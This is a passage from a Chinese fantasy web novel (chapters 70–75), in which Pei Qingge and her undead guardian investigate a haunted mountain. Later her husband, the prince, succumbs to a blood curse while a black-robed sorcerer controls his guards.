“客官,我能骗你么?”小二瞪着眼睛,“那副指挥使吓得病了好多天,后来就辞了官,现在就住在城北。这事人人都知道,你们不信,就去打听打听他家,亲自问问他。而且也不只是他一个人在流霞山上见鬼,还有一回……” “闲聊什么呢?不干活了?”掌柜的见小二在这桌已经呆了很久,忍不住拍了拍柜子。 小二赶紧站起身,“回头有时间再给你们讲啊!” “这能是真的么?”左辞看向裴清歌。 “明天去看看不就知道了?”裴清歌说着拿起筷子,“不过若是那人真的在流霞山,不想让别人打扰他,传出些闹鬼的流言,再给上山的人制造些幻象,也很容易。” * 第二天吃了早饭,在小二的极力劝阻下,四个人还是出了门。 到了山脚,裴清歌翻身下马,把马系在了树上,“不能骑马了。” 左辞往山上看了看,“这山路还好,应该能再骑一段。” 裴清歌摇了摇头,“这山确实有问题,马容易惊,要是跑散了就麻烦了。”她说着拿出两道符分别递给左辞和钟栖,“你们收好,路上不管看到什么、听到什么都不要管。”说完她看向鬼卿,“你走前面吧。” 鬼卿点点头,当先在前面开路。 山上草木繁盛,这落霞山看着确实少有人迹,本来应该是有一条路的,但如今这路也就剩下窄窄的一条,鬼卿也要不时的用剑砍断挡路的树枝和高草。 差不多走到山腰的时候,左辞突然停下了脚步,支棱耳朵听了一下,才问,“是不是有人在喊救命?” 钟栖转头看了他一眼,他也听见了,不过裴清歌不是说,不管看到什么听到什么都不要管么? “走。”裴清歌看着他,“再不走,喊救命的就是你了。” 左辞也反应过来,吓得缩了缩脖子,赶紧往前走。 走了差不多有一个时辰,鬼卿停了下来,前面是条三岔路,他转头看向裴清歌询问。 裴清歌微微眯了眯眼,指了指右边的那条。 鬼卿点点头,继续往前走。 左辞已经开始有些喘息,他忍不住开口,“王……表弟,你这小身板,体力还不错,我都快要爬不动了。” “你太弱,回去好好调养一下吧。”裴清歌看着他的背影,顿了顿才问,“之前听你说受伤,是哪里受伤?” “肩膀。”左辞说着顿了下,“有个箭头拔不出来,太医说,拔出来可能当场就死了,好在是左肩膀,也不耽误我右手用剑。我这命大得很,再往下一点,我当场死了,可就没命遇见……表弟你了。” “怎么不早说?”裴清歌皱了下眉,“等回去了帮你看看。” “对啊!”左辞眼睛一亮,“我怎么把这个给忘了,有你这么个‘表弟’,我可真是命好。” 正说着,鬼卿的脚步也停了下来,他看着前方,握剑的手微微紧了紧。 第70章 术法不会害人,害人的都是人 前面不远处,有一块很大的平地。 平地上有一块很平整的大石头,这会有一个看着年纪大概在三十岁左右的男人,正背着个药篓,坐在那石头上看着他们。 这人虽然就是坐在那,但给鬼卿的压迫感却很强。 鬼卿拧眉看着他,身上充满了防备。 裴清歌也就往前走了几步,若无其事的问道,“劳驾问一下,听说这附近有个断崖,你知道怎么走么?” 那人从鬼卿的身上收回目光,看向裴清歌,“要找的人已经找到了,还去找断崖做什么?” 他这么一说,无疑是承认了自己的身份。 裴清歌也就不再绕弯子,“你是什么人?为什么要在这流霞山上装神弄鬼,还要教别人害人之法?” 那人沉默了会,才说,“你一个人过来。” 鬼卿微微侧身挡在裴清歌身前。 “没事,若是他有敌意,我们走不到这。”裴清歌拍了拍他的胳膊,往前走到石头边。 “我叫苍幽。”那人叹了口气道,“那孩子死了,我就知道会有人找上来,这事,我欠你一个人情。” 裴清歌在脑海里搜索了下这个名字,并没有在北冥国听过,她微微眯了眯眼,“你为什么要那么做?” “你们是北冥国人?”苍幽问。 “你呢?”裴清歌没回答,而是反问道。 苍幽也同样没回答,只是说,“我只是见他们可怜,这山上我设了无数的屏障,他们能误入到我的住处,也算是有缘。那孩子醒过来,就已经不算是人了,我让他们一家三口住在深山,不要再出去。” 裴清歌微微眯了下眼,“在山里,那孩子只能吸食动物的魂魄。” “是。”苍幽点点头,“可吸食动物的魂魄,怎么都不算是一个完整的人,他们大概是不满足于此,才会出去害人。” “那个男人,临死前画了一个阵法,是召唤瘟疫的阵法。”裴清歌又道。 “原来是孽缘。”苍幽不屑地笑了笑,“不过阵法又不是什么人都能画,不过是自寻死路而已。” “你在这里要干什么?”裴清歌皱起眉头。 “等药。”苍幽拍了拍自己的药篓,“这山上有一枚灵药,马上就要成熟了。本来我知道那孩子开始害人,就该亲手去了结的,但是这药随时都会成熟,一个时辰内如果不摘取,就会落地腐烂,我找了这药三十年,等它成熟用了十五年,错过这一枚,不知道再去哪找下一枚了。” 裴清歌有些诧异,为了这药,就已经用了四十五年,可这人看着最多也不过三十岁的模样。 就算师父驻颜有术,也绝对达不到他这程度! “我本来想,等我拿到药了,就去解决,倒没想到……”他说着打量了一眼裴清歌,又往鬼卿身上瞄了一眼,“你这丫头能把肉尸改良到这程度,还挺让人刮目相看。” “可我不愿意欠人什么。”苍幽说着像是有些苦恼,想了会,抬手从袖袋里拿出了一个木匣,在里面翻了翻,翻出几颗药丸递给裴清歌,“这些药送给你,你用得着,就当我还了你人情,两不相欠。” 裴清歌没接,“你把话说得明白点。” 苍幽的表情有些无奈,“这枚红色的,是隐莲丹,你吃了它,能隐掉你身上的血莲。不是不存在,只是别人看不见感受不到了,但你也还得继续养它。” 裴清歌眸光微震了下,没有说话。 “白色的,是阳元丹,能让你身后的这个不人不尸的东西,变回常人,并且不会有任何后遗症。”苍幽说着顿了下,“我知道你们有让肉尸恢复的办法,但恢复后,会失去做肉尸期间的所有记忆和能力。” “剩下的那几枚,都是保命的,爱吃不吃。”他说着像是没了耐心,也不愿意再介绍下去。 裴清歌犹豫了下,才把药收起来。 苍幽也就从石头上站起来,像是在对裴清歌说,又像是自言自语,“有心普度众生,又能救几人呢?夫物芸芸,各复归其根,众生必死,死必归土。人生在世,难逃情之一字。但若是无情无欲,要大道又有何用?” 一边说着一边就往远处走了。 也没见他迈几步,但人已经走出去老远,没一会,人影都不见了。 左辞他们站的远听不到裴清歌这边的对话,见那人走了,才都走过来,“表弟,他怎么说?” 裴清歌没回答,只是说,“他应该是无心害人,只是在这山上采药,采完药就会走了。” 左辞挠了挠头,“那之前的事怎么算?” “术法不能害人,害人的都是人。”裴清歌叹了口气,正要再说什么,一阵冷风吹过来,她转头去看,还没看清什么,就被鬼卿一把抓住胳膊拉了回来。 站定了她才看清,刚刚她站的,就已经是悬崖边。 那还有什么大石头? 再往前半步,就是万丈悬崖。 如果不是她看着左辞他们过来,也往回走了几步,这会就直接掉下去了! 左辞也是吓得直拍胸口,“天呐,刚才你就是站在半空跟那个人聊天的?” 裴清歌四下看了一圈,周围的景色已经全都变了,刚才来的时候,都是茂密的树林,如今只剩下光秃秃的山。 她转头和鬼卿对视了一眼,脸上都带着几丝心有余悸。 下山的路上,她跟鬼卿转述了那人的话。 鬼卿想了会,低声道,“清幽果。” 裴清歌点点头,“若是按照他的说法,大概率是清幽果了,可清幽果在千年前就绝迹了,这里怎么会有清幽果?” 鬼卿没有说话。 “鬼卿,好像有很多事,跟我们以前知道的,并不一样。”裴清歌低声道。 鬼卿转头看着她,虽然没说话,但是以长久以来两个人的默契,裴清歌也明白了他的意思,既然不一样,那就去找到问题所在。 到了客栈,小二看着几个人全须全影儿的回来,啧啧称奇。 裴清歌单独叫了鬼卿到她的房间,把那枚阳元丹拿了出来。 鬼卿听完她的描述,沉默着没有说话。 “当初你命悬一线,我也没有问过你的意见。”裴清歌看着他,“如果有这样的机会,我当然希望你能恢复成常人。既然有这样的药,我想古籍上多少应该也有记载,等回去了,我们好好查阅,若是没问题,就可以给你吃了。” “暂时,不用。”鬼卿摇了摇头。 作为冥尸,起码铜皮铁骨,刀枪不入,他也看得出来,虽然不知道发生了什么事,可是裴清歌现在的能力差不多也就是原来的十分之一。 若是遇到危险,以他现在的状态,才能更好的保护她。 “我就是觉得,该让你先知道,你也有恢复的可能。”裴清歌收起了药丸,鬼卿有思考能力,但凡有人的思想,谁不愿意做一个正常人呢? “表弟,表弟!”左辞在门口急切的敲门,“你快出来,快看看钟栖怎么了!” 第71章 跟你偷情的,到底是谁? 裴清歌皱了下眉,走过去打开门,“钟栖怎么了?” 左辞挠了挠头,“就……就是刚才回了房间,他说他头晕,也不知道是不是在山上遇到什么事了啊。” 山上除了些幻象以外,并没有什么,裴清歌狐疑地看了看左辞,跟着他进了他们的房间。 钟栖躺在床上,见裴清歌进来赶紧支起身子。 左辞对着他挤眉弄眼,又跑过去,“诶呦,你头晕就不要起来了,王妃不会在这种小事上跟你计较的。” 裴清歌的脚步顿了顿,眼底闪过一抹笑,“钟栖,你头晕?” “属下……”钟栖看了看左辞,才硬生生地点了点头。 “看样子,你这头晕的问题出在左辞身上。”裴清歌说着走到左辞身边,抬起手,一根银针扎进左辞的后颈。 左辞头一晕,两腿一软,当即坐在床上,双手扶着头,只觉得天旋地转,整个世界都在转,甚至眼睛都不敢睁开,“王妃,王妃,属下错了,属下错了,不敢了。” “你想干什么?”裴清歌抱着肩膀看着他。 左辞长吁短叹半天,最后才支支吾吾地说,“王妃……你有什么悄悄话也不能带着一个外男回房间说啊。” 裴清歌轻笑一声,抬手收回银针,“左辞,你这是替你家王爷看着我来了?” “属下不敢。”左辞试探地睁开眼睛,天旋地转的感觉消失了,才低声道,“王妃,属下这不是怕你和王爷之间万一有什么误会就不好了。” 裴清歌懒得理他,“没什么事就收拾一下,我们启程去洪都。” 彭城离洪都不远,也就是一天的路程。 当天夜里几个人就到了洪都。 在客栈安顿好以后,裴清歌一刻钟都不想再耽搁,私下叫上鬼卿就出了门。 按照原主记忆里的路线,在洪都城内的东北角,她找到了那个废弃的宅院。 三年过去,这里比三年前更加荒芜。 院子里的杂草都有一人多高,不少土墙都坍塌了。 本以为这废宅里不会有人,可路过一个院子的时候,却听到里面有女人娇笑声传来。 这夜深人静的荒废宅院里,冷不丁的听到女人的笑声,还真是有点让人毛骨悚然。 裴清歌拉了拉鬼卿的衣袖,示意他往另外一边走。 三年前,原主在这里是为了救师父,可是却被认为是和洪都府丞之子孟彦私通,刚好被抓了个正着。 显然当初孟彦的确在这里与人私通,孟夫人来抓人,那女子估计是跑了,恰好原主在。 孟彦为了不暴露自己相好的,就直接推到原主的身上。 原主当时大概是百口莫辩。 没想到三年过去,这孟彦还是改不了吃屎,连私通的地方都没换。 裴清歌抬手叫来几个游魂,嘱咐了一番,看着几个游魂往有女人笑声的院子飘去,她眯了眯眼,就当给原主出口恶气吧。 她做这些事,鬼卿当然是看在眼里的,他眉心几不可微地皱了一下,以往的她可从来不屑于这种事情的。 以前在圣殿的时候,除了圣殿以外的事情,她不闻不问。 哪怕是有人死在她面前,只要这个人与圣殿无关,她都不会理睬。 现在她救了白锦夜,还会因为有人的术法导致其他无辜的人死亡后,不远千里跑过来查明缘由,甚至……还会做这种用游魂整人的无聊小事。 鬼卿很快收回目光,眼底带了一丝说不清道不明的意味。 以前,她那少有的几丝感情,都给了师父、冷鸢和他,剩下的人,于她连蝼蚁都不如。 不管怎么说,现在的她,像是多了些人情味,这应该是好事吧。 鬼卿的嘴角微微勾了一抹笑。 又走了一段,两个人在一处已经倒塌了一半的偏房停了下来。 “就是这里了。”裴清歌低声道,“你感觉到什么了么?” 鬼卿摇了摇头。 鬼卿对所有的气息都敏感,若是师父在这里停留过,他大概率能感知出来。 但是师父当时被人追杀,离开的时候也一定处理好了自己留下的痕迹,现在就连鬼卿都感受不到,那可就有点麻烦了。 裴清歌点亮了火折子,门已经摇摇欲坠,她侧身从门缝走了进去。 床榻上都是灰土,被褥零乱地堆在一边,有个木头桌子,上面摆着些碗筷。 裴清歌把火折子凑过去看,盘子里还有吃剩的东西,不过时间太久,已经很难辨认了,还有一个碗和杯子倒在一边。 她皱了下眉头,“感觉……师父离开的时候,走的有点匆忙。” 鬼卿点点头,正要说什么,抬手迅速的灭了火折子,警惕地向外面看去。 裴清歌片刻后才听到声音,外面的声音杂乱,有马蹄声,还有人说话的声音,她脸上的表情慢慢变得无奈,上次原主就在这里被“捉奸”,不会这么巧,她这次刚到,那边孟彦他家又来“捉奸”吧? “咱们悄悄去看看。”裴清歌看着鬼卿低声道。 这回她得好好看看,有什么能“帮”孟彦一把的,得好好帮帮他才是。 就冲着原主被毁的这张脸,她也不能让他太好过。 两个悄悄的摸回了刚才的院子,跃上了一颗大树,树枝茂密,遮挡住了两个人。 看到院子里的人,裴清歌的瞳孔微缩,白锦夜?他来这里干什么? 蓦地,一丝恼意窜上来,他让左辞来,无非是盯着她。 现在她和鬼卿不在,若是左辞发现了,肯定就是怀疑她跑出来做什么。 难道他还怀疑自己和孟彦在这里私会? 裴清歌眯了眯眼睛,手微微握成拳,好,这笔账她先记下了! 没一会,司空就带着几个人从房间里拖出不着寸缕的一男一女,把两个人扔在了白锦夜面前的空地上。 刚才就是被人强行分开的两个人,这会没了禁锢,又抱到了一起。 那女人抱着孟彦,还媚眼如丝地看向白锦夜,“大爷,要来玩么?” 裴清歌脸色有些尴尬,难道她刚才随手抓来的游魂是妓女?她抬手挥了挥,赶走了两个人身体里的游魂。 女人和孟彦一下子清醒过来,慌乱地想要遮住自己的身体。 孟彦看着马上的白锦夜,色厉内荏,“你……你是谁?你想要干什么?我告诉你,我爹可是洪都府丞!你敢动我,我……我爹不会放过你的。” 白锦夜眸色未变,修长的手指慢慢地摆弄着手里的马鞭,“孟彦,给你个机会,好好想一想,三年前,跟你在这里偷情的,是谁?” 第72章 你以为你们王爷还是人么? 孟彦冷笑一声,“小爷的女人多了去了,三年前?那少说也有十几个,不知道你说的是哪个?” “云启元寿辰前后。”白锦夜好心提醒。 孟彦一怔,想起了什么,“你说裴家小姐么?那还真是让人难忘,又白又滑,又会伺候人,要不是她回了京城,啧啧……” “裴家哪位小姐?”白锦夜耐着性子又问。 孟彦眯了眯眼,“还能哪位小姐?世人都知道,被毁了容的……听说现在嫁给了一个随时会疯的王爷,早知道当初拦一拦我那夫人,不毁容我也能娶回去做个侍妾。” 鬼卿当即也明白了什么,眉心一动,就要出去。 裴清歌抬手拉住他的手腕,对着他微微摇了摇头,然后指了指他们来时的路,从树上跳下。 鬼卿转头看向孟彦,记住了他的脸,才跟着裴清歌一起跳下树,回了师父待过的那个院子。 “轻一点,但是每个角落都看看,别落下什么。”裴清歌对着鬼卿交代了一声。 不能再点火折子,只能借着外面的月光,一点点的寻找蛛丝马迹。 * 另外一边院子里的孟彦想起了什么,“你问这个做什么?” 白锦夜轻笑一声,“不巧,本王就是那个随时会疯的王爷。” 孟彦气息一滞,下意识地后退了几步,“你……你是肃亲王?” 白锦夜挥了挥手里的马鞭,“本王再最后问你一遍,三年前,与你偷情的,是裴家哪位小姐?” 孟彦咬了咬牙,“王爷娶裴家那位小姐之前,就该知情,既然已经娶了,现在来找我算什么?” 白锦夜冷笑一声,“既然你敬酒不吃……”他说着挥了挥手。 几个侍卫抓着一个人走上前来,摘下了套在她头上的黑色头罩,又把塞在她嘴里的布团拽走。 “劳烦孟公子好好看看,这位是不是才是三年前跟你偷情的人。”白锦夜慢慢地开口道。 孟彦的瞳孔瑟缩了一下,“她是谁?我不认识。” 裴玲珑之前被蒙住眼睛,现在一眼就见到了孟彦,她惊叫一声,随即连忙捂住眼睛,“王……王爷,他是谁?怎么连衣服都不穿?” 白锦夜打量着两个人,倒是挺有默契,谁也不认识对方,“裴玲珑,既然你和这孟公子没什么,那应该是完璧之身,本王正好带了嬷嬷,可以给你就地验身。” “王爷!”裴玲珑一听,当即跪在地上,“王爷,你娶了姐姐,你想给她正名,我能理解,但就算是这样,你也不能把我往火坑里推啊,我还没有嫁人,若是传了出去,我该怎么做人?” 说完,她泪眼婆娑地看着白锦夜,“王爷,好歹我们也曾有婚约在身,就算无缘做夫妻,也请王爷念念旧情,不要这样折辱我。” “旧情?”白锦夜淡笑,“若真是有旧情,你就不会算计你姐姐,让她嫁给本王了不是么?” 裴玲珑愣了一下,“王爷,你说什么?我听不懂,明明是姐姐算计我……” “你真以为江嬷嬷跟你主仆情深,什么都不会说么?”白锦夜打断她。 裴玲珑低着头,嗫嚅了半响,咬了咬牙,“就算如此,我不愿意嫁给王爷,也是人之常情,这盛京,有哪家的姑娘愿意嫁给王爷?谁愿意年纪轻轻就做个寡妇?” “混账!”司空抬剑指向裴玲珑,“你以为自己是什么东西?王爷愿意娶你是看得起你!” “司空!”白锦夜喝了一声,司空只好退回来。 “就因为如此,王爷便恨上我了,栽赃我与人私通么?”裴玲珑站起来,仰着脖子看着白锦夜,“王爷向皇上求娶我,但我难承王爷错爱,王爷如此逼我,那我只有一死以证清白了。” 她说着走向旁边的侍卫,伸手把他腰间的佩剑抽出来。 双手握着剑柄,后退了几步,抬头看着白锦夜,“我死了,王爷便可以昭告世人,三年前,与孟公子苟且的人是我。姐姐无辜受罪,都是我一手造成的。王爷和姐姐就可以当做什么都没发生,恩恩爱爱,白头偕老。” 白锦夜眯眸看着裴玲珑,自己没有阻止,也没有让其他人阻止,像是断定了裴玲珑根本不会自尽。 裴玲珑握着剑柄的手微微颤抖,又后退了几步,突然转身把手里的剑刺进了孟彦的肚子。 孟彦惊诧地看着裴玲珑,又低头看着插在自己肚子上的剑,“你……你这个毒妇!” 裴玲珑眯了眯眼,用力的拔出剑,剑尖一挥,鲜血被甩出来,几滴血恰好落在了白锦夜的脸上。 腥味入鼻,白锦夜眯了眯眼,掏出手帕擦去脸上的血。 孟彦捂着肚子上的伤口,向后躲了几步,“我待你不薄,你要什么给你什么,你故意把你姐姐引来,我也陪你演戏,甚至叫人去通知我夫人来捉奸,彻底毁了你姐姐。事后你说从此便做陌路,我也没有纠缠你,你竟然……竟然杀我?” 裴玲珑看着剑上的血,丝毫不在意孟彦的话,“瞧你那胆子,这点伤死不了。” 她的话音落下,就见白锦夜突然从马上跌落,倒在地上。 “王爷!”司空赶紧上前。 裴玲珑笑出声,也走了过去,带着血的剑在白锦夜的面前轻轻晃过,“这人血的滋味怎么样?王爷,有没有觉得很想喝血很想吃肉啊?你看,孟彦就站在那,快去吧。” 司空一脚踢在裴玲珑的肚子上,把她踹到一边,伸手想要扶起白锦夜,“王爷,你怎么样?” 裴玲珑倒在地上,笑声越来越大,“司空,你以为王爷他还是人么?他马上就要和张太妃一样,喝鲜血吃生肉了,劝你离他远点,不然第一个被他咬死的人,可能就是你了。” 白锦夜倒在地上,双手死死地握成拳头,喉咙里发出阵阵低吼,像是在极力地忍耐,脸色逐渐涨红。 “王爷,属下先送你回去。”司空说着转头看了看裴玲珑和孟彦,“把这两个人一起……” 他的话还没说,手腕就传来刺痛。 低头便见白锦夜已经一口咬在他的手腕上! 第73章 自求多福吧,我救不了 裴清歌和鬼卿查遍了房间的所有角落,依旧没有一点有关师父的痕迹。 她只好起了个问方位的卦,卦象显示要出城,遇水则明。 “看样子,师父应该是在城外受了伤,一路进了洪都,刚好碰到这个废宅。”裴清歌说着顿了下,“这里出城不远,咱们出去看看。” 鬼卿没有异议,沿着东北角出了城,走了差不多五六里,就有一条蜿蜒的河流。 站在河边,裴清歌微微皱起眉头,正疑惑着,就见鬼卿的神色微微有些激动,他抬手拉住裴清歌,沿着河往上游走。 越往上游走,地势也越高。 经过一段瀑布之后,在半山腰上,有一处深潭。 鬼卿在水潭旁边停了下来,“潭里。” “潭里?”裴清歌皱起眉头。 “我去看看。”鬼卿说着就要往水潭里走。 “天色太暗,明天吧。”裴清歌阻止他,“我们先回去,顺便打听下这个水潭的事,反正也不差这一天半天的。” 鬼卿的脚步停下来,点点头。 “总之,现在总算多少有些头绪了。”裴清歌说着伸了个懒腰,“先回去睡觉,好好休息下。” 鬼卿其实是不需要睡觉的,他也感觉不到累,但裴清歌不一样。他抬头看了看天色,才说,“我背你。” 裴清歌倒是没拒绝,骑了一天马,又折腾这大半宿,她确实累了。 鬼卿背着裴清歌刚到客栈,就碰到火烧眉毛的左辞。 他正在裴清歌的门口转来转去,见到两个人回来,赶紧迎上来,又见鬼卿背着裴清歌,心里一颤,不会这么巧,王妃也出事了?“王妃,你没事吧?” 裴清歌从鬼卿的背上跳下来,“大半夜的,我能有什么事?你不睡觉在我门口晃来晃去的干什么?” 她的语气不太好。 之前在王府里,左辞毕竟算是除了桑榆以外,第一个对她示好的人,这段日子以来,对她也算是照顾。 但想一想,他说不定只是白锦夜安排在自己身边监视自己的,她现在看着左辞多少有些不爽。 左辞也没在意裴清歌的语气,只是说,“王妃,你快去看看王爷吧,他现在……不太好。” “呵。”裴清歌轻笑一声,几个时辰之前,不还神采奕奕的去捉奸么?捉奸失败了,所以不太好么?“你们王爷也来洪都了?” 左辞脸色一僵,隔了会才说,“王爷应该是前两天到的。” 裴清歌没说话,本来相安无事也挺好的,她顶着肃亲王府的庇护,有人要用北冥国的法术害肃亲王府的人,她也就顺手管一管。 白锦夜若是不放心她来洪都也可以明说。 现在这样算什么? 这些天风国的人真是麻烦。 想着她也懒得多管,“我要休息了。”说完转身就往房间走。 “王妃。”左辞跟了一步,就被鬼卿抬手拦住,他有点急,本也不想在走廊上说这事,但眼见着裴清歌已经要关门了,赶紧道,“王妃,王爷变成张太妃那样了,咬了司空。” 裴清歌关门的手顿了顿,“我不是给了他药?” “吃了。”左辞点点头,“已经吃了,但没用啊。” 鬼卿转头看了裴清歌一眼,在炼制冥尸的过程中,他也曾极度想要喝血吃肉,而且那念头冒出来之后,脑子里就只剩下这件事。 当时裴清歌不在,他根本没办法控制自己。 等裴清歌回来的时候,他已经把圣殿里活着的鸡鸭鹅牛猪屠戮一空。 其实只要熬过第一次,炼制的过程就成功了一大半。 但是他没能熬过去,如果不能唤醒神智,就会向肉尸转变,不可能有自己的思想。 所以,这也是白锦夜必须要经历的一关。 裴清歌沉默了一会,才问,“你家王爷又去招惹谁了?” “这……属下这几天都跟着王妃,确实不知道王爷做了什么。要不王妃去看看,顺便问问司空?”左辞有些尴尬,他甚至都不知道王爷来了洪都,就是刚才司空派人来找他,他才知道王爷出事了。 “他咬了司空?”裴清歌又问,“咬坏了么?” “属下也不知道啊。”左辞摇头。 “如果没咬坏,让他忍到天亮就好了。如果咬坏了,那就自求多福吧,我救不了了。”说完裴清歌直接关上了房门。 左辞张了张嘴,没等再说什么,鬼卿就先开了口,“走吧。” “可是……”左辞一脸的挣扎,“要不是情况真的特别不好,司空也不会派人来通知我,真的没有别的办法么?” 鬼卿垂下眼,半响才说,“别喝血,别吃生肉。” 左辞又站了会,见房门一直没开,想着王爷那边情况紧急,他总得过去看看,就没再僵持,转身出了门,往白锦夜住的别院赶。 一进院门,就听到房间里压抑的低吼声。 司空带着一队侍卫站在门外,神色凝重,“王妃来了么?” 左辞摇了摇头,“王妃说,只要没碰血肉,明早就好了,要是碰了……” 他的话还没说完,司空就伸过胳膊,手腕上一片血肉模糊。 左辞心里一抖,“怎么会……”顿了顿他才又低声问,“王爷为什么会突然来洪都?” 司空沉默了半响,“不是你查到的,三年前在洪都,跟孟彦私通的人可能是裴玲珑么?” 左辞眨了眨眼,“解决个孟彦,还需要王爷亲自过来么?” “王爷本想在你们到洪都之前解决这件事,不然怕王妃到了洪都,孟家会找她麻烦。”司空脸色有些难看,“要不是王妃这事,王爷也不会来洪都,更不会再招惹裴玲珑那个疯婆子。” 气愤了会,司空还是把今晚的事给左辞转述了一遍。 “你是说,是裴玲珑用血勾起了王爷嗜血的欲望?”左辞皱起眉,“可过去王爷在战场上,也没少见血啊。” 司空想不通这事,只是说,“王妃就连来看看都不来么?” “要不我再去跟王妃说说?”左辞说着顿了顿,“只是王妃也说了,要是碰了血肉,她也没办法了。” “王妃连张太妃都能治好,张太妃这么多年,不都是喝血吃肉?”司空又道。 听着房间里的阵阵低吼,左辞的心都快揪到了一起,“我去找王妃,就算是绑……就算是跪残了这两条腿,我也把她跪来!” 第74章 你敢伤害我们,王妃不会放过你的! 左辞转过身,腿还没迈出去,身体就突然僵住了不能动,仿佛像是被人点了穴,“司空?” 他起初还以为是司空,可眼珠努力地转了转,发现司空也定在了原地,“怎么回事?” “不知道。”司空警惕地看着周围。 片刻后,便见一个黑袍人慢悠悠地走进了院子。 黑袍人的帽子宽大,把他整张脸都掩住了,看不清面容。 司空眯眼看着他,“你是谁?要干什么?” 黑袍人没有理会他,只是对着他招了招手,司空的身体就不受自己控制的跟着他往房间里面走。 司空慌了,这人明显是奔着王爷来的,可现在他们所有人都不能动,只能做案上鱼肉! 怕白锦夜失控后不能自制,他们一回来,司空等人就已经把他绑在了床头。 黑袍人进了门,直接解开了绑住白锦夜的绳子。 恢复了自由,白锦夜当即往前冲了几步,眼见着就要冲到司空身前,又突然抱住头往后退去。 黑袍人看着他的动作,声音沙哑,“王爷自控力虽强,但又能忍耐多久呢?你闻,这鲜血的味道多香甜啊。”他说着动了动手指,司空就自己拔出剑,在自己的胳膊上划了一道。 血顺着司空的手指滴在地上,视觉和嗅觉无一不在刺激着白锦夜的神经。 “别撑着了。”黑袍人继续道,“就算撑过这一次,还有下一次呢。一次两次撑得过,十次八次的,总有一次忍不住,早晚都要喝血吃肉,何必现在让自己这么痛苦呢?” 随着他的声音,司空也慢慢地走向白锦夜,甚至把自己的胳膊抬起来凑到他的嘴边。 司空没办法控制自己的身体,只能朝着白锦夜道,“王爷你不要听他蛊惑你,王妃……王妃说你只要熬过今晚就没事了,王爷!” 虽然刚才左辞说,如果白锦夜已经碰了血肉就没救了,但是万一呢?万一还有希望,少碰一点也总是好的。 黑袍人扫了眼司空,“原来一直帮你的,是你的王妃啊。” 司空闻言一滞,知道自己说漏了嘴,说不定也会给裴清歌带来危险。 只是还不等他想要怎么转移黑袍人对裴清歌的兴趣的时候,白锦夜突然上前一把抓住了他的胳膊。 白锦夜的力气极大,捏得司空胳膊像是快要断了一样。 他盯着他胳膊上的血,死死地咬着牙,几乎目眦尽裂。 “呵呵。”黑袍人轻笑了一声,“快喝吧,别挣扎了。” 白锦夜的身体痛苦到微微颤抖,他闭着嘴,即便那对他有极大吸引力的东西就在眼前,甚至只要他张开嘴,就能碰触到,但是他还有那最后一丝丝的理智,告诉他绝对不能碰! 即便他现在只能算半个活人,可如果真的吃肉喝血,那他就再也不能算个活人了! “既然王爷自己下不了决心,那你来帮帮你们王爷吧。”黑袍人低沉地说道。 司空的胳膊举起来,血蹭在白锦夜的唇上、脸上,“不!”他低吼一声,可根本没办法控制住自己,眼睁睁地见着自己的另外一只手抬起来,捏住白锦夜的脸,试图掰开他的嘴。 蓦地,白锦夜的身体上爆出一股看不见的力量,直接把司空弹飞了出去。 这力量也把白锦夜向反方向弹开,让他一下子倒在床上。 黑袍人眯了眯眼,几步上前一把扯开白锦夜衣襟,看着他身上显现出来的阵法,“是谁?是谁给你画的这阵法?” 白锦夜低吼一声,从腰间抽出软剑,就向黑袍人刺去。 黑袍人侧身躲开,“说,是谁?是不是你的王妃?” 白锦夜的剑落了空,他自己也踉跄了几步,靠在了屏风上,抬眼死死地盯着黑袍人。 “不说么?”黑袍人手指动了动。 司空从地上站起来,举着自己的剑横在自己的脖子上。 “王爷若是不说,你的这位属下,恐怕就要付出些代价了。”黑袍人说着,那剑也在司空的颈上划出一道血痕。 司空咬着牙,看向白锦夜,“属下有幸跟着王爷,此生无憾。” “倒是个不怕死的。”黑袍人轻笑一声,“不过外面不还有那么多人么?这一条人命王爷不在乎,那也没关系,王爷慢慢考虑就是了。” 他说着扬了扬手,司空的剑就猛地朝自己的喉咙划去。 白锦夜想过去阻止,但踉跄了一步,就半跪在地上,已经没办法撑住自己的身体。 他低吼了一声,脸颊上青筋暴起,不知道哪来的力气,用力的冲过去,扑倒了司空,手攥住了剑刃。 司空被控制之下力气很大,但剑也并没有割破白锦夜的皮肤。 他看着白锦夜,只见他的眼白都逐渐转红,刚才这一下,像是耗尽了他所有的力气。 白锦夜的目光已经逐渐地转移到他胳膊的鲜血上,甚至张开了嘴,逐渐靠近,司空赶紧出声,想要唤回他的理智,“王爷,王爷,你再忍忍啊!天快亮了,王爷!” 黑袍人就站在不远处看着,“还真是主仆情深。”说完他也好心提醒,“本来可能天亮了就没事了,但是裴玲珑帮了大忙,你们王爷如今,是不见血不会罢休的了。” “王爷,你别听他乱说,不会的,你再忍忍,等天亮一定就没事了!”司空高声道。 左辞站在门外,不知道里面到底发生了什么事,但听着司空这么急切的声音,他着急可也没办法,突然灵光一闪,他大喊了一声,“王妃,王妃你可算来了!快去救救王爷吧!” 听到左辞的声音司空和黑袍人一起看向窗外,但司空很快反应过来,他和左辞搭档多年,左辞又不傻,裴清歌要是真的来了,他怎么可能高喊出声,这不是给黑袍人报信,让他提前有准备么? 这样的谎话就算能拖住黑袍人片刻,又能拖多久? 裴清歌如果迟迟不进门,黑袍人自然也就明白了。 果然,等了半响,没见到任何动静,黑袍人轻笑了一声,“看来是有个迫不及待送死的。”他的话音落下,左辞就被控制着进了门。 左辞扫了一眼屋子里的景象,一边看着黑袍人,“我告诉你,你敢伤害我们,王妃不会放过你的!” “是么?我倒想看看,她怎么不放过我。”黑袍人说着捏了个印诀,“既然你嘴这么硬,那就先把自己的舌头割掉吧。” 左辞拔出剑,一只手拉住自己的舌头,自己不断地呜咽着,可还是看着剑刃离自己的舌头越来越近。 但突然,剑刃再也无法动一分! 随即左辞就恢复了行动,他当即把剑刺向黑袍人。 黑袍人没有防备,虽然躲得快,但还是被割破了袖袍,他猛地转头看向门外,“既然来了,不打算现身么?” 第75章 本王还不如左辞一根舌头? 左辞一击没中,就知道自己伤不到黑袍人了,于是赶紧跑过去把白锦夜拉开。 司空也不再受控制,和左辞一左一右地抓住白锦夜的胳膊钳制住他。 黑袍人全身戒备地看着外面,没一会,就见裴清歌走了进来。 裴清歌就站在门口,也没走近,瞥了一眼白锦夜的情况,手上捏了几个印诀。 白锦夜像是突然泄了力,不再挣扎,也不再低吼。 黑袍人打量着裴清歌,“还真是你!这么说,你用计嫁给白锦夜,也是故意的了?跟我们作对,你有什么好处?” 裴清歌嗤笑一声,“我都不知道你是谁,说故意跟你们作对,不是可笑了点?” 